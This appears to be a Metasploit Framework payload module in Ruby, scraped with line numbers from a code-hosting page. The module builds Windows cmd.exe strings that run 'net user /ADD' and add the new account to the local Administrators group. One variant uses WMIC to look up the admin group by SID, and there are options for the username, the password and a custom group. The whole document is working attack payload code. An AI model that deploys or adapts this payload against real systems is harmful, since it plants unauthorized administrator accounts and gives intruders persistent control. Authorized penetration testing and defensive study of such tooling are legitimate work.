Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
###
8
#
9
# Extends the Exec payload to add a new user.
10
#
11
###
12
module MetasploitModule
13

14
  CachedSize = 282
15

16
  include Msf::Payload::Windows::Exec
17

18
  def initialize(info = {})
19
    super(update_info(info,
20
      'Name'          => 'Windows Execute net user /ADD',
21
      'Description'   => %q{
22
        Create a new user and add them to local administration group.
23

24
        Note: The specified password is checked for common complexity
25
        requirements to prevent the target machine rejecting the user
26
        for failing to meet policy requirements.
27

28
        Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
29
      },
30
      'Author'        => ['hdm','Chris John Riley'],
31
      'License'       => MSF_LICENSE,
32
      'Platform'      => 'win',
33
      'Arch'          => ARCH_X86,
34
      'Privileged'    => true))
35

36
    # Register command execution options
37
    register_options(
38
      [
39
        OptString.new('USER', [ true, "The username to create",     "metasploit" ]),
40
        OptString.new('PASS', [ true, "The password for this user", "Metasploit$1" ]),
41
        OptString.new('CUSTOM', [ false, "Custom group name to be used instead of default", '' ]),
42
        OptBool.new('WMIC',	 [ true, "Use WMIC on the target to resolve administrators group", false ]),
43
      ])
44

45
    register_advanced_options(
46
      [
47
        OptBool.new("COMPLEXITY", [ true, "Check password for complexity rules", true ]),
48
      ])
49

50
    # Hide the CMD option...this is kinda ugly
51
    deregister_options('CMD')
52
  end
53

54
  #
55
  # Override the exec command string
56
  #
57
  def command_string
58
    user = datastore['USER'] || 'metasploit'
59
    pass = datastore['PASS'] || ''
60
    cust = datastore['CUSTOM'] || ''
61
    wmic = datastore['WMIC']
62
    complexity= datastore['COMPLEXITY']
63

64
    if(pass.length > 14)
65
      raise ArgumentError, "Password for the adduser payload must be 14 characters or less"
66
    end
67

68
    if complexity and pass !~ /\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/
69
      raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
70
    end
71

72
    if not cust.empty?
73
      print_status("Using custom group name #{cust}")
74
      return "cmd.exe /c net user #{user} #{pass} /ADD && " +
75
        "net localgroup \"#{cust}\" #{user} /ADD"
76
    elsif wmic
77
      print_status("Using WMIC to discover the administrative group name")
78
      return "cmd.exe /c \"FOR /F \"usebackq tokens=2* skip=1 delims==\" " +
79
        "%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " +
80
        "FOR /F \"usebackq tokens=1 delims==\" %X IN (`echo %G`); do " +
81
        "net user #{user} #{pass} /ADD && " +
82
        "net localgroup \"%X\" #{user} /ADD\""
83
    else
84
      return "cmd.exe /c net user #{user} #{pass} /ADD && " +
85
        "net localgroup Administrators #{user} /ADD"
86
    end
87

88
  end
89
end
90

91

92